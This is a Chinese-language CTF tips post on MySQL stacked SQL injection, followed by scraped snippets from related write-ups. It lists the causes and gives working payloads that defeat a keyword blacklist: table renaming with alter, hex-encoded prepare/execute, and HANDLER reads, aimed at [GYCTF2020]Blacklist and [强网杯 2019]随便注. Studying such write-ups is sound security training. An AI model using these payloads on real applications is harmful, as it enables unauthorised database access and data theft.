堆叠注入tips

漏洞成因

  • 使用mysqli_multi_query()这种支持多语句执行的函数
  • 使用PDO的方式进行数据查询,创建PDO实例时PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为true时,可以执行多语句

bypass技巧

以[GYCTF2020]Blacklist为例
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject)

获取库名、表名、列名

show databases;
show tables;
show columns from `table_name`;

bypass

(1) 修改表名

此时拼接sql语句的代码肯定是固定从一个表里取出某列的数据,这时候我们修改表名,取出数据来

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

但是一定要先改原表名

(2) 预编译

1';
[email protected]=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

用16进制绕过

(3) HANDLER

在这次比赛中setrename都被过滤,去翻文档可以找到https://dev.mysql.com/doc/refman/8.0/en/handler.html

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

例题

[GYCTF2020]Blacklist
[强网杯 2019]随便注

原文地址:https://www.cnblogs.com/20175211lyz/p/12356678.html

时间: 2024-08-30 17:09:37

堆叠注入tips的相关文章

强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)

然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; show columns from 表名; # 不过有点问题,只有words有回显.(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段) 大佬wp展示了一手存储过程绕过 payload: http://web16.buuoj.cn/?inject=1%27;[email 

[原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)

简介  原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array(); 7 $get = array(); 8 global $MysqlLink; 9 10 //GetPara(); 11 $MysqlLink = mysqli_connect("localhost",$datauser,$datapass); 12 if(!$MysqlLink){ 1

[原题复现][2020i春秋抗疫赛] WEB blanklist(SQL堆叠注入、handler绕过)

简介 今天参加i春秋新春抗疫赛 一道web没整出来 啊啊啊 好垃圾啊啊啊啊啊啊啊  晚上看群里赵师傅的buuoj平台太屌了分分钟上线 然后赵师傅还分享了思路用handler语句绕过select过滤.... 原题复现:  考察知识点:SQL注入漏洞-堆叠注入.注入绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简介 基础思路参考:https://www.cnblogs.com/xhds/p/12269987.

sql注入tips

转自http://www.wupco.cn/?p=3764 cuit 首先Web300 山水集团 第一步找到加密接口搭代理就不说了 接下来是注入,filter如下 这里主要的难点在于如何按字节拆解返回的值,以完成按字节爆破盲注,waf拦截了我们常用的substr,like,left等函数,这里我查了一下官方文档,找到position函数. 通过position((str1)IN(str2))绕过空格的拦截,至于=用!(<>)绕过,然后形成最终payload (1)or(!(position((

Sqli-labs Less-52 order by后的堆叠注入

和less50是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式 http://127.0.0.1/sql/Less-52/?sort=1;create table less52 like users 原文地址:https://www.cnblogs.com/zhengna/p/12667352.html

Sqli-labs Less-51 order by后的堆叠注入

关键代码 $id=$_GET['sort']; $sql="SELECT * FROM users ORDER BY '$id'"; mysqli_multi_query($con1, $sql); 我们此处要进行stacked injection,要注释掉',此处给出payload: http://127.0.0.1/sql/Less-51/?sort=1';create table less51 like users--+ 创建表less51 原文地址:https://www.cn

Sqli-labs Less-53 order by后的堆叠注入

和less51是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式 http://127.0.0.1/sql/Less-53/?sort=1';create table less53 like users--+ 原文地址:https://www.cnblogs.com/zhengna/p/12667380.html

MYSQL注入天书之stacked injection

第三部分/page-3 Stacked injection Background-8 stacked injection Stacked injections:堆叠注入.从名词的含义就可以看到应该是一堆sql语句(多条)一起执行.而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束.这样我们就想到了是不是可以多句一起使用.这个叫做stacked injection. 0x01 原理介绍 在SQL中,分号(;)是用来表示一条sql语句的结束.试想一

Stacked injection--堆叠注入--堆查询注入

Stacked injection--堆叠注入--堆查询注入 原文地址;http://www.sqlinjection.net/stacked-queries/   本篇属于集合原作者的思路和个人想法结合的一篇产物.Stacked injection 汉语翻译过来后,国内有的称为堆查询注入,也有称之为堆叠注入.个人认为称之为堆叠注入更为准确.堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的.这种技术在SQL注入中还是比较频繁的. 0x